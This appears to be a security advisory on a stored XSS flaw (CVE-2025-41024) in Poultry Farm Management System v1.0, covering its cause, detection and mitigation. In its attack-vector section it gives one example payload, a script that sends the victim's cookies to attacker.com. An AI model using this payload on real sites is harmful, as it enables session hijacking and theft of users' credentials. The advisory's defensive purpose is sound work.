CVE-2025-41024: Poultry Farm Management System XSS Flaw

CVE-2025-41024 Overview

A Stored Cross-Site Scripting (XSS) vulnerability exists in Poultry Farm Management System v1.0 due to improper validation of user-supplied input. The vulnerability allows attackers to inject malicious scripts through multiple parameters in the farm profile functionality by sending specially crafted POST requests. The affected parameters include companyaddress, companyemail, companyname, country, mobilenumber, and regno within the /farm/farmprofile.php endpoint.

Critical Impact

Attackers can inject persistent malicious scripts that execute in victims' browsers, potentially leading to session hijacking, credential theft, and unauthorized actions performed on behalf of authenticated users.

Affected Products

• Poultry Farm Management System v1.0
• /farm/farmprofile.php endpoint

Technical Details for CVE-2025-41024

Vulnerability Analysis

This Stored Cross-Site Scripting vulnerability stems from the application's failure to properly sanitize and validate user input before storing it in the database and subsequently rendering it in web pages. When an authenticated user submits a POST request to the farm profile page, the application accepts input through multiple form parameters without adequate input validation or output encoding.

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). Because the malicious payload is stored persistently in the application's database, any user who views the affected profile page will have the malicious script executed in their browser context. This makes stored XSS particularly dangerous compared to reflected XSS variants, as the attack persists and can affect multiple victims without requiring direct interaction with a malicious link.

Root Cause

The root cause of this vulnerability is the lack of input validation and output encoding in the Poultry Farm Management System. The application directly accepts user input from POST parameters (companyaddress, companyemail, companyname, country, mobilenumber, and regno) and stores them without sanitization. When these values are later displayed on the farm profile page, they are rendered without proper HTML entity encoding, allowing embedded JavaScript to execute in the browser.

Attack Vector

The attack is network-based and requires low privileges (authenticated user access) to exploit. An attacker with access to the farm profile functionality can inject malicious JavaScript payloads into any of the vulnerable parameters. The attack requires some user interaction, as a victim must view the page containing the stored payload for the script to execute.

The exploitation process involves sending a POST request to /farm/farmprofile.php with malicious JavaScript embedded in one or more of the vulnerable parameters. For example, an attacker might inject a payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> into the companyname field. When another user views the farm profile, the malicious script executes in their browser context, potentially stealing session cookies, performing actions on their behalf, or redirecting them to phishing pages.

Detection Methods for CVE-2025-41024

Indicators of Compromise

• Unusual JavaScript code patterns stored in database fields for farm profile data
• Unexpected script tags or event handlers in companyname, companyaddress, companyemail, country, mobilenumber, or regno fields
• Web application logs showing POST requests to /farm/farmprofile.php containing script tags or encoded JavaScript

Detection Strategies

• Implement Web Application Firewall (WAF) rules to detect and block XSS payloads in POST parameters
• Monitor database entries for HTML/JavaScript content in farm profile fields that should contain plain text
• Review web server access logs for suspicious POST requests containing encoded characters or script patterns targeting /farm/farmprofile.php

Monitoring Recommendations

• Enable detailed logging for all POST requests to the farm profile endpoint
• Set up alerts for database modifications containing HTML special characters or JavaScript keywords
• Implement Content Security Policy (CSP) headers and monitor for CSP violation reports

How to Mitigate CVE-2025-41024

Immediate Actions Required

• Restrict access to the Poultry Farm Management System to trusted users only until a patch is available
• Implement input validation on all affected parameters to reject or sanitize HTML/JavaScript content
• Apply output encoding (HTML entity encoding) when rendering user-supplied data on web pages
• Consider deploying a Web Application Firewall with XSS protection rules

Patch Information

No official patch information is currently available from the vendor. Organizations should monitor the INCIBE CERT advisory for updates on remediation guidance. If possible, contact the application vendor directly for security updates.

Workarounds

• Implement server-side input validation to whitelist acceptable characters for each field (e.g., alphanumeric only for regno)
• Apply HTML entity encoding to all user-supplied output before rendering in web pages
• Deploy Content Security Policy headers to prevent inline script execution
• Temporarily disable or restrict access to the farm profile functionality if the risk is deemed unacceptable

# Example Apache .htaccess CSP configuration to mitigate XSS impact
Header set Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; object-src 'none';"
